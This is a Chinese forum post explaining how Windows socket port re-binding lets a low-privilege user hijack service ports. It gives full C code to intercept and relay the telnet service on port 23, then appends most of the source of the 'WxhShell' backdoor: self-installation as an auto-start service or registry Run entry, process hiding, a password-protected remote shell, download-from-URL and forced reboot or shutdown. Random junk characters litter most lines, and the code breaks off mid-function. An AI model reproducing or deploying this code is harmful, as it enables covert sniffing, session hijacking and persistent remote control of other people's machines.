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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p D-k<8|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B<%cqz@  
\!x~FVA  
  saddr.sin_family = AF_INET; C8W#$a  
xf% _HMKc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); db -h=L|  
&{-r 5d23  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]?rVram;z  
g 0O~5.f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V"K-aO&  
Lyo!}T  
  这意味着什么?意味着可以进行如下的攻击: _3~/Z{z8  
: 7>oFz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l1HMH?0|  
hg4d]R,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >xsbXQ>.  
W T~UEK'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4&N#d;ErC  
MkLXMwuQ&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ut j7"{'k|  
=>3wI'I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `xv2,Z9<  
RGg=dN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wr5ScsNS  
?TWve)U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X\4d|VJ?m  
K-,4eq!  
  #include 7M8oI.?C|  
  #include 03p D<  
  #include HKp|I%b]J  
  #include    vbBNXy/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >^:*x_a9  
  int main() {#`O'F>  
  { 05>mRqVL  
  WORD wVersionRequested; ^Y%'"QwJS  
  DWORD ret; `D-P}hDm!  
  WSADATA wsaData; $Z|HFV{  
  BOOL val; epN!+(v  
  SOCKADDR_IN saddr; Kd r7 V  
  SOCKADDR_IN scaddr; )fy-]Ky *  
  int err; ~ECIL7,  
  SOCKET s; /Fk]>|*  
  SOCKET sc; q]scKWYI  
  int caddsize; -.@dA'j[  
  HANDLE mt; 3#A4A0  
  DWORD tid;   J tvZ~s  
  wVersionRequested = MAKEWORD( 2, 2 ); 5bB\i79$  
  err = WSAStartup( wVersionRequested, &wsaData ); y#T.w0*  
  if ( err != 0 ) { O*7vmPy  
  printf("error!WSAStartup failed!\n"); ' kOkwGf!  
  return -1;  \OJam<hZ  
  } `- HI)-A97  
  saddr.sin_family = AF_INET; 6o0}7T%6  
   ;A6%YY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H@xHkqan  
LD*XNcE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <Hf3AB;#4  
  saddr.sin_port = htons(23); q4#$ca[_ak  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DFkDlx  
  { Ij>G7Q*d  
  printf("error!socket failed!\n"); Z=9<esx  
  return -1; "4IrW6B $9  
  } R-Ys<;  
  val = TRUE; Z;O!KsJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^Gi7th,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qRSoF04!R  
  { z]2MR2W@X  
  printf("error!setsockopt failed!\n"); BOOb{kcg  
  return -1; wz..  
  } 7W'&v+\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5X>K#N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ay7PU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2 g\O/oz  
ppo.#p0w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q45gC28x  
  { j8oX9 Yo0=  
  ret=GetLastError(); `Ez8!d{MD8  
  printf("error!bind failed!\n"); @d5$OpL$%  
  return -1; ,.kmUd  
  } H&8~"h6n  
  listen(s,2); 1M.#7;#B3  
  while(1) Sp6==(:.  
  { 2Wg:eh  
  caddsize = sizeof(scaddr); cTW$;Fpc+  
  //接受连接请求 7'OR ;b$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /6rQ.+|).  
  if(sc!=INVALID_SOCKET) ScjeAC)  
  { w/ ^_w5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  &.(iS  
  if(mt==NULL) >z~_s6#CP  
  { 8[.&ca/[  
  printf("Thread Creat Failed!\n"); NT2XG& $W>  
  break; "n{';Q)  
  } TMD\=8Na  
  } 3dz{" hV  
  CloseHandle(mt); _M&n~ r  
  } |)v}\-\ #  
  closesocket(s); Yecdw'BW?  
  WSACleanup(); Ml9m#c  
  return 0; bo/<3gR  
  }   amq,^  
  DWORD WINAPI ClientThread(LPVOID lpParam) [ #ih o(/  
  { r@zs4N0WP  
  SOCKET ss = (SOCKET)lpParam; %y\5L#T!>  
  SOCKET sc; GGo ~39G  
  unsigned char buf[4096]; IhBQ1,&J  
  SOCKADDR_IN saddr; >Tjl?CS  
  long num; C:t?HLY)fG  
  DWORD val; :Jf</uP_  
  DWORD ret; R|^bZf^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R>Dr1fc}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w >%^pO~}`  
  saddr.sin_family = AF_INET; `\|@w@f|;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =f H5 r_n  
  saddr.sin_port = htons(23); j^;P=L0=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~NPhVlT  
  { {qlcTc  
  printf("error!socket failed!\n"); mR|5$1[b  
  return -1; u,nn\>Y  
  } *5 9|  
  val = 100; ~\2%h lA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D"-Wo}"8O'  
  { +}1zw<  
  ret = GetLastError(); 2z" <m2 a  
  return -1; -9 .lFuI  
  } \2=I//YF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IiRQ-,t1  
  { jjQDw=6  
  ret = GetLastError(); \.oJ/++  
  return -1; ]cv|dc=  
  } bM5V=b_H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (3$DUvx7  
  { 1<Mb@t  
  printf("error!socket connect failed!\n"); ]" e'z  
  closesocket(sc); SPRTJdaC9  
  closesocket(ss); K?[Vz[-Fc  
  return -1; U^|T{g+O  
  } RM,aG}6M)M  
  while(1) ]Jm\k'u[  
  { Wu<;QY($5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 < `"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M ;b3- i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0G-obHe0  
  num = recv(ss,buf,4096,0); aem gGw<  
  if(num>0) kaQNcMcq  
  send(sc,buf,num,0); N?-ZvE\C  
  else if(num==0) 'I+M*Iy  
  break; 8f[ztT0`g  
  num = recv(sc,buf,4096,0); &L5 )v\z  
  if(num>0) ub fh4  
  send(ss,buf,num,0); _b/zBFa%  
  else if(num==0) yQ[;.<%v  
  break; OI6Mx$  
  } eR>8V8@  
  closesocket(ss); &y1iLk h^  
  closesocket(sc); s@iY'11  
  return 0 ; )D#}/3s  
  } i.7_i78\"  
qD\9h`a  
a%U#PF6   
========================================================== (0#$%US\  
Y$"m*0  
下边附上一个代码,,WXhSHELL z8'zH>  
lb}RPvQE  
========================================================== ggrYf*  
xg7KU&  
#include "stdafx.h" ~+0IFJ`}  
@iV-pJ-  
#include <stdio.h> >itabG-&  
#include <string.h> 6lg]5d2CD  
#include <windows.h> EATVce]T  
#include <winsock2.h> f42F@M(:  
#include <winsvc.h> 1Dc6v57  
#include <urlmon.h> @:PMb Ub  
u0arJU_.)  
#pragma comment (lib, "Ws2_32.lib") Mb[4_Dc  
#pragma comment (lib, "urlmon.lib") b\H&E{Gn|x  
aACPyfGQ  
#define MAX_USER   100 // 最大客户端连接数 o$;&q *  
#define BUF_SOCK   200 // sock buffer \WTKw x  
#define KEY_BUFF   255 // 输入 buffer <_t]?XHB[  
MG.c`t/w  
#define REBOOT     0   // 重启 ,q#SAZ/N  
#define SHUTDOWN   1   // 关机 Or?c21un  
_+aR| AEC  
#define DEF_PORT   5000 // 监听端口 fV Y I  
%5zIh[!1$  
#define REG_LEN     16   // 注册表键长度 i}C%8} %  
#define SVC_LEN     80   // NT服务名长度 56c[$ q  
b:~#;$g  
// 从dll定义API wE=I3E%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,4'y(X<R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :7.k E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \6/ Gy!0h-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H<fi,"X^  
ak_y:O|  
// wxhshell配置信息 Pf%I6bVN9  
struct WSCFG { GXD<X_[  
  int ws_port;         // 监听端口 f'5 6IT  
  char ws_passstr[REG_LEN]; // 口令 W<#!He  
  int ws_autoins;       // 安装标记, 1=yes 0=no bfncO[Q,?  
  char ws_regname[REG_LEN]; // 注册表键名 |XG&[TI- "  
  char ws_svcname[REG_LEN]; // 服务名 Ut'T!RD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wzxV)1jT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /({oN1X>i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S _U |w9q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G}l9 [lE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `^^t#sT   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $)KODI>|  
-R]~kGa6m<  
}; A_E2v{*n  
O:rf DO  
// default Wxhshell configuration t,/8U  
struct WSCFG wscfg={DEF_PORT, 0nD?X+u  
    "xuhuanlingzhe", d(V4;8a0  
    1, .s4v*bng  
    "Wxhshell", y5aPs z  
    "Wxhshell", _U4@W+lhX_  
            "WxhShell Service", "HqmS  
    "Wrsky Windows CmdShell Service", tw zV-8\  
    "Please Input Your Password: ", rf@47H  
  1, S~fP$L5  
  "http://www.wrsky.com/wxhshell.exe", 8pr toCB  
  "Wxhshell.exe" 2NjgLXP  
    }; ^`SEmYb;  
1Vz^?t:  
// 消息定义模块 ey9hrRMR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i={4rZOD^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $")Gd@aR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c*zeO@AAn  
char *msg_ws_ext="\n\rExit."; "bRjY?D  
char *msg_ws_end="\n\rQuit."; E24}?t^|  
char *msg_ws_boot="\n\rReboot..."; E.Th}+  
char *msg_ws_poff="\n\rShutdown..."; pYAKA1F  
char *msg_ws_down="\n\rSave to "; J> ,w},`  
<=6F=u3PtU  
char *msg_ws_err="\n\rErr!"; cc`u{F9  
char *msg_ws_ok="\n\rOK!"; hPG@iX|V  
>vXJ9\  
char ExeFile[MAX_PATH]; h/:LC 7  
int nUser = 0; b~* iL!<  
HANDLE handles[MAX_USER]; ^["D>@yIR  
int OsIsNt; u0k'Jh]K  
[9 :9<#?o^  
SERVICE_STATUS       serviceStatus; 7CF>cpw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bw/mF5AsW  
~rjK*_3/  
// 函数声明 Fz<1xyc(  
int Install(void); IaRwPDj6  
int Uninstall(void); bk=;=K  
int DownloadFile(char *sURL, SOCKET wsh); V,c^Vq y  
int Boot(int flag); ,+h<qBsV@  
void HideProc(void); m;xa}b{(i  
int GetOsVer(void); KI*b We  
int Wxhshell(SOCKET wsl); d { P$}b  
void TalkWithClient(void *cs); OKau3T]  
int CmdShell(SOCKET sock); Wql=PqF  
int StartFromService(void); #pW!(tfN^a  
int StartWxhshell(LPSTR lpCmdLine); GJE+sqMX1  
{hf_Xro&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |cuKC \  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N|@ tP:j  
!U2<\!_  
// 数据结构和表定义 $ Fc}K+  
SERVICE_TABLE_ENTRY DispatchTable[] = ]Y->EME:W  
{ O#J7GbrHO  
{wscfg.ws_svcname, NTServiceMain}, NgsEEPu?  
{NULL, NULL} (NfB+Ue}  
}; zd$iD i($  
G i(  
// 自我安装 ${ DSH  
int Install(void) n++ak\  
{ S_??G:i  
  char svExeFile[MAX_PATH]; =1!.g"0  
  HKEY key; MZX@Gi<S[  
  strcpy(svExeFile,ExeFile); y9@j-m&  
~K|ha26W  
// 如果是win9x系统,修改注册表设为自启动 ?l @=}WN  
if(!OsIsNt) { "5N$u(: b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #1}%=nAsi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wXdt\@Qr  
  RegCloseKey(key); :]8A;`G}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { } 21!b :a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sc}Rs  
  RegCloseKey(key); +yk0ez  
  return 0; Lew 2Z  
    } ,*x/L?.Z!  
  } CSWA/#&8>  
} tdu:imH~  
else { .p'McCV=  
:y{@=E=XSC  
// 如果是NT以上系统,安装为系统服务 T|(w-)mv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?f:0GE7  
if (schSCManager!=0) w'xPKO$bzR  
{ 23bTCp.d  
  SC_HANDLE schService = CreateService pA@R,O>zr  
  ( *|L;&XM&/  
  schSCManager, 2Mw`  
  wscfg.ws_svcname, CA$|3m9)NM  
  wscfg.ws_svcdisp, l[WX77bp=  
  SERVICE_ALL_ACCESS, &f)pU>Di  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j/ARTaO1]"  
  SERVICE_AUTO_START, }^n"t>Z8  
  SERVICE_ERROR_NORMAL, jEP'jib%  
  svExeFile, 4~nf~  
  NULL, v.,D,6qZ  
  NULL, CzDg?wb  
  NULL, 3|URlz  
  NULL, K[9P{0hA  
  NULL >oAXS\Ts  
  ); [ 8WG  
  if (schService!=0) '8@4FXK  
  { 4a.8n!sys  
  CloseServiceHandle(schService); J/Ch /Sa  
  CloseServiceHandle(schSCManager); 69odE+-X.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zx?|5=+!  
  strcat(svExeFile,wscfg.ws_svcname);  Qk.[#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4C;"4''L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q((%sWp  
  RegCloseKey(key); zItGoJu  
  return 0; h?->A#  
    } ,C'mE''x  
  } O;(n[k  
  CloseServiceHandle(schSCManager); 1n>AN.nI  
}  @]V_%,  
} 2aUE<@RU[  
OZ<fQf.Gh}  
return 1; a3 t||@v!  
} S09Xe_q  
.&KC2#4   
// 自我卸载 ,!^;<UR:  
int Uninstall(void) v/Xz.?a\jF  
{ 3#`Sk`z<  
  HKEY key; 9N<TJp,q  
\LM{.g zT  
if(!OsIsNt) { R]S!PSoL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u6*0% Km  
  RegDeleteValue(key,wscfg.ws_regname); U\"FYTC  
  RegCloseKey(key); S\2@~*{-8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j>hBNz  
  RegDeleteValue(key,wscfg.ws_regname); AnBD~h h  
  RegCloseKey(key); ?ViU%t8J5  
  return 0; z{U^j:A  
  } S$GWY^5}{  
} )u=a+T  
} t"&qaG{  
else { j3'SM#X  
7{OD/*|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ev5m(wR  
if (schSCManager!=0) Tnnj8I1v  
{ R)]+>M-.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lMjeq.5nP  
  if (schService!=0) ZBc8 ^QZ  
  { c&#B1NN<  
  if(DeleteService(schService)!=0) { =$< .:b  
  CloseServiceHandle(schService); A+"'8%o9}  
  CloseServiceHandle(schSCManager); ,mE}#cyY  
  return 0; iz6+jHu'l  
  }  :LTjV"f  
  CloseServiceHandle(schService); SJ&+"S&  
  } >ti)m >f  
  CloseServiceHandle(schSCManager); 4 :M}Vz-  
} %07vH&<C.  
} xL!@$;J  
F%:o6mT  
return 1; Q.l3F3;  
} EzXi*/  
VO7&<Y}{x  
// 从指定url下载文件 FN D+Ok&  
int DownloadFile(char *sURL, SOCKET wsh) f2i9UZ$=e!  
{ 7k#0EhN1>  
  HRESULT hr; /9 |BAQ:v;  
char seps[]= "/"; =5 $BR<'  
char *token; -dH]_  
char *file; #7naI*O  
char myURL[MAX_PATH]; _#6*C%ax  
char myFILE[MAX_PATH]; f.ws\^v%  
$8NM[R.8^4  
strcpy(myURL,sURL); m/aA q8  
  token=strtok(myURL,seps); 6JE_rAab  
  while(token!=NULL) )3)fq:[  
  { s'k} .}  
    file=token; @8|i@S@4  
  token=strtok(NULL,seps); A=BT2j'l)  
  } gq&jNj7V  
'17V7A/t  
GetCurrentDirectory(MAX_PATH,myFILE); r<_qU3Eaj  
strcat(myFILE, "\\"); `&FfGftc  
strcat(myFILE, file); (Cbm*VL  
  send(wsh,myFILE,strlen(myFILE),0); k, jcLX.  
send(wsh,"...",3,0); p!+bn,?G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s#)0- Zj  
  if(hr==S_OK) _*u$U  
return 0; Kq}-)  
else @eN,m {b  
return 1; QT[4\)  
[yDOv Q[  
} N=c{@h  
PS`F  
// 系统电源模块 D]+@pK b  
int Boot(int flag) kQO5sX$;  
{ x3 01uf[  
  HANDLE hToken; hGU 3DKHT  
  TOKEN_PRIVILEGES tkp; dIk9C|-.  
xgZ<. r  
  if(OsIsNt) { 256V xn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B1z7r0Rm,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6'jgjWEe3&  
    tkp.PrivilegeCount = 1; K,@} 'N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "Q;Vy t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (%*~5%l\  
if(flag==REBOOT) { .!_^<c6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6Q}>=R^h  
  return 0; sxPvi0>  
} y+$a}=cb0  
else { ,gIeQ!+vy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ez[$;>  
  return 0; j`_tb   
} )T'~F  
  } @g1T??h   
  else { ^2"w5F  
if(flag==REBOOT) { 6\6g-1B`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7E R!>l+  
  return 0; &IkHP/  
} A}sdi4[`  
else { BXUd i&'O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xhncQhf\  
  return 0; [q(}~0{"-  
} +@anYtv%7  
} XknbcA|  
"2`/mt Mon  
return 1; 3IQ-2 X--  
} HVNX"`]"  
Hx ojxZwm  
// win9x进程隐藏模块 ,UneS  
void HideProc(void) dSbz$Fct  
{ CA ,2&v"  
*ub"!}$st  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n/+G^:~_  
  if ( hKernel != NULL ) %6TS_IpJ  
  { (o1o);AO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O,0j+1?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &M2fcw?  
    FreeLibrary(hKernel); {$v>3FG  
  } 7:wf!\@ I  
! $fF3^8-  
return; nT@FS t  
} !GtCOr\'  
/(Ryh6M  
// 获取操作系统版本 ^\3z$ntF  
int GetOsVer(void) MG74,D.f  
{ &;$- &;  
  OSVERSIONINFO winfo; -m Sf`1l0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?wMS[Kj  
  GetVersionEx(&winfo); "qw.{{:tf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v\Zq=,+  
  return 1; #=I5_u  
  else -_BjzA|  
  return 0; 3 /LW6W|  
} p+Icq!aH5  
qj,^"rp1:  
// 客户端句柄模块 poXT)2^)  
int Wxhshell(SOCKET wsl) VBe&of+  
{ rqhRrG{L|&  
  SOCKET wsh; CMHg]la  
  struct sockaddr_in client; \"$jj<gc  
  DWORD myID; 8V+  
{D4N=#tl  
  while(nUser<MAX_USER) wyv%c/WlS  
{ hr/|Fn+kA  
  int nSize=sizeof(client); S?# 'Y*h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0<]]q[pr  
  if(wsh==INVALID_SOCKET) return 1; . "`f~s\G  
LgA> ,.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &_$xMM,X  
if(handles[nUser]==0) <"!'>ZUt  
  closesocket(wsh); +!"7=?}  
else A|BN >?.t  
  nUser++; @gihIysf  
  } "I JcKoB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 10$:^  
KZwzQ"Hl  
  return 0; IYB;X  
} !4mAZF b  
HG[gJ7  
// 关闭 socket #oEq)Vq>g|  
void CloseIt(SOCKET wsh) <"x *ZT  
{ i|G /x  
closesocket(wsh); gO m%?sg  
nUser--; #5_pE1  
ExitThread(0); T%1Kh'92  
} $EPDa?$*  
Ox+}JB [  
// 客户端请求句柄 gYfOa`k  
void TalkWithClient(void *cs) scR+F'M  
{ %)j^>W5  
=N{-lyr)  
  SOCKET wsh=(SOCKET)cs; 1xMD )V:  
  char pwd[SVC_LEN]; ~,reS:9RZ  
  char cmd[KEY_BUFF]; [300F=R  
char chr[1]; mNr<=Z%b  
int i,j; Zz56=ZX*_  
,4kipJ!,yK  
  while (nUser < MAX_USER) { K<7 Db4H  
RUlJP  
if(wscfg.ws_passstr) { gPr&9pHU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nokMS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mS >I#?  
  //ZeroMemory(pwd,KEY_BUFF); r;OE6}L>  
      i=0; _@ @"'  
  while(i<SVC_LEN) {  Fs1ms)  
Xc7Qu?}  
  // 设置超时 btIh%OM  
  fd_set FdRead; yy$7{9!  
  struct timeval TimeOut; wq`\p['Q,  
  FD_ZERO(&FdRead); "AMsBvzgo  
  FD_SET(wsh,&FdRead); "=XRonQZ  
  TimeOut.tv_sec=8; Ov8{ny  
  TimeOut.tv_usec=0; aW#_"Y}v'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XX'Rv]T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y%]&h#F  
Se&%Dr3Nv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &1,qC,:!  
  pwd=chr[0]; `PvGfmYOl  
  if(chr[0]==0xd || chr[0]==0xa) { ;/<J& #2.  
  pwd=0; 6d|%8.q1  
  break; h5R5FzY0&  
  } ' 8bT9  
  i++; CF+:9PG  
    }  p(Bn!  
h;sdm/  
  // 如果是非法用户,关闭 socket E>6:59+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @^93q  
} )9JuQ_ R  
B|+tK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v_Y'o _  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )t$|'c}  
JK9}Kb};  
while(1) { rnC u=n  
&`4v,l^Zi6  
  ZeroMemory(cmd,KEY_BUFF); ZICcZG_y  
u6(>?r-  
      // 自动支持客户端 telnet标准   g>*t"Rf:  
  j=0; A1,- qv1s  
  while(j<KEY_BUFF) { ="*8ja-K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |J#mgA}(  
  cmd[j]=chr[0]; Z*(lg$A9 M  
  if(chr[0]==0xa || chr[0]==0xd) { sj?7}(s  
  cmd[j]=0; kGSB6  
  break; +k4 SN  
  } g+98G8 R  
  j++; bqDHLoB\1  
    } p4OiCAW;  
W}U-u{Z  
  // 下载文件 q"[8u ]j  
  if(strstr(cmd,"http://")) { 7!E?(3$#"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *rk!`n&  
  if(DownloadFile(cmd,wsh)) :3x|U,wC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @gZ<!g/vza  
  else 8Dq;QH}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g.d%z  
  } 0-W{(xy@4  
  else { 75V?K  
OxraaN`  
    switch(cmd[0]) { @*gm\sU4  
  I(dMiL  
  // 帮助 |[VtYV _{  
  case '?': { cR1dGNcp/@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @{Q[M3l  
    break; Ppzd.=E  
  } =U5lPsiv,3  
  // 安装 I~$LIdzw  
  case 'i': { /i]!=~\qFs  
    if(Install()) {zc<:^r^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -m:i~^ u  
    else *8uSy/l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w$cic  
    break; H3"[zg9L:a  
    } PL#8~e;'  
  // 卸载 K`nI$l7hg  
  case 'r': { w`vJE!4B  
    if(Uninstall()) J2`b:%[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,HEx9*E/s  
    else lMX 2O2 o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >69+e+|I  
    break; lGI5  
    } 9K@>{69WQ  
  // 显示 wxhshell 所在路径 $Gs&' y R  
  case 'p': { \vB-0w  
    char svExeFile[MAX_PATH]; HV`{YuP  
    strcpy(svExeFile,"\n\r"); 5O Ob(  
      strcat(svExeFile,ExeFile); zv]-(<B  
        send(wsh,svExeFile,strlen(svExeFile),0); .[hQ#3)W  
    break; PnsQ[}.  
    } ?gb"S,  
  // 重启 {R7>-Y[4)2  
  case 'b': { ,#1ke  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O/wl";-  
    if(Boot(REBOOT)) L!3AiAnr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w0Fi~:b  
    else { : z^ p s0  
    closesocket(wsh); eB78z@  
    ExitThread(0); cWl)ZE<hM  
    } Ru Q\H0pr  
    break; zYdSg<[^  
    } )^uLZMNaI  
  // 关机 V#1_jxP)Q  
  case 'd': { ~ X8U@f  
